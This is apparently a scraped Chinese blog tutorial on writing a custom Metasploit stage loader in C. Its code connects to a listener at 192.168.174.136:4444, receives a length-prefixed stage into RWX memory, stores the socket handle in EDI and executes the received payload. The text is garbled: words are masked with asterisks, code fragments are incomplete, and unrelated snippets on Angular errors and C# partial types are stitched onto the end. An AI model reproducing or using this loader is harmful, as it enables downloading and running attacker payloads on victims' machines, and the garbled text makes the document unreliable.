上面我們給出的文章講到關於第一階段與第二階段的互動原理
上面的流程說的已經比較明白了(此篇文章裡我將採用 metasploit-loader 作為**講解):
向 msf 監聽位址發起 tcp 請求
獲取 stages
將 socket fd 放入暫存器 edi
從起始位址開始執行 stages
先貼**
首先我們需要建立乙個socket連線
/* 錯誤處理 */
void punt(socket my_socket, char * error)
...wsadata wsadata;
word wversionrequested;
wversionrequested = makeword(2, 2);
if (wsastartup(wversionrequested, &wsadata) < 0)
struct hostent * target;
struct sockaddr_in sock;
socket my_socket;
char* targetip = "192.168.174.136"
int port = 4444
/* 建立socket */
my_socket = socket(af_inet, sock_stream, 0);
if (my_socket == invalid_socket)
punt(my_socket, "could not initialize socket");
/* 解析targetip*/
target = gethostbyname(targetip);
if (target == null)
punt(my_socket, "could not resolve target");
/* 準備tcp連線相關資訊 */
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = af_inet;
sock.sin_port = htons(port);
/* 連線 */
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "could not connect to target");
這部分**就是和我們的 msf 監聽位址建立 socket 連線
接下來關於stages有點需要說明的。
stages結構:
那麼我們按照這個方式去讀
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
讀出後面的 dll 資料報長度
然後我們開始讀取 dll
/* 接收指定長度的資料 */
int recv_all(socket my_socket, void * buffer, int len)
return tret;
}buffer = virtualalloc(0, size + 5, mem_commit, page_execute_readwrite);
if (buffer == null)
punt(my_socket, "could not allocate buffer\n");
/* 把 socket fd 放入 edi 暫存器,注意這裡的 socket 控制代碼需要取到控制代碼指向的那個資料,而不是控制代碼指標
bf 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xbf;
/* 構造上面的機器碼 */
memcpy(buffer + 1, &my_socket, 4);
/* 把讀取出來的資料放到 buffer 後面 */
count = recv_all(my_socket, buffer + 5, size);
現在我們只需要像之前執行 shellcode 那樣執行即可
/* 把buffer強轉為乙個函式去呼叫 */
function = (void (*)())buffer;
function();
然後把這些**組合起來進行編譯
編譯需要注意的點是:payload必須對應
比如32位的payload必須編譯為32位的,相應的64位必須編譯為64位
ngular6開發不完全筆記(三) 報錯指南
routeruncaught error template parse errors router outlet is not a known element if router outlet is an angular component,then verify that it is part o...
不完全型別
c 允許在乙個 檔案中存放多個類,但這樣往往不便於類的管理,所以一向是提倡乙個檔案中只存放乙個類。不過呢,隨著類規模的不斷膨脹,乙個檔案中存放乙個類也有些顯得臃腫,或者是在某個角度上不便於 的組織。因此,c 2.0中引入了不完全型別的概念,即啟用了新的修飾符partial。借助該修飾符,我們可以在多...
不完全型別
不完全型別指 函式之外 型別的大小不能被確定的型別 總結一下,c的型別分為 結構體的宣告就是乙個不完全型別的典型例子。struct woman tag struct man tag struct woman tag 這樣是沒問題的。如果將man tag結構中的struct woman tag wif...